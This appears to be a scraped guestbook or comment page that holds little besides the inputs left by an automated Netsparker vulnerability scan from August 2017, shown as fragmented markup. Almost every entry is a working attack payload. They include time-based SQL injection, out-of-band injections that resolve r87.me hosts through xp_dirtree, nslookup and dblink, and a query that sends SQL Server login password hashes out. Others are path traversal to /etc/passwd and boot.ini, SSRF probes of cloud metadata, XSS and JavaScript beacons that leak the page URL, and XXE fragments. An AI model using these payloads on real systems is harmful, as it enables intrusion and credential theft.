+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

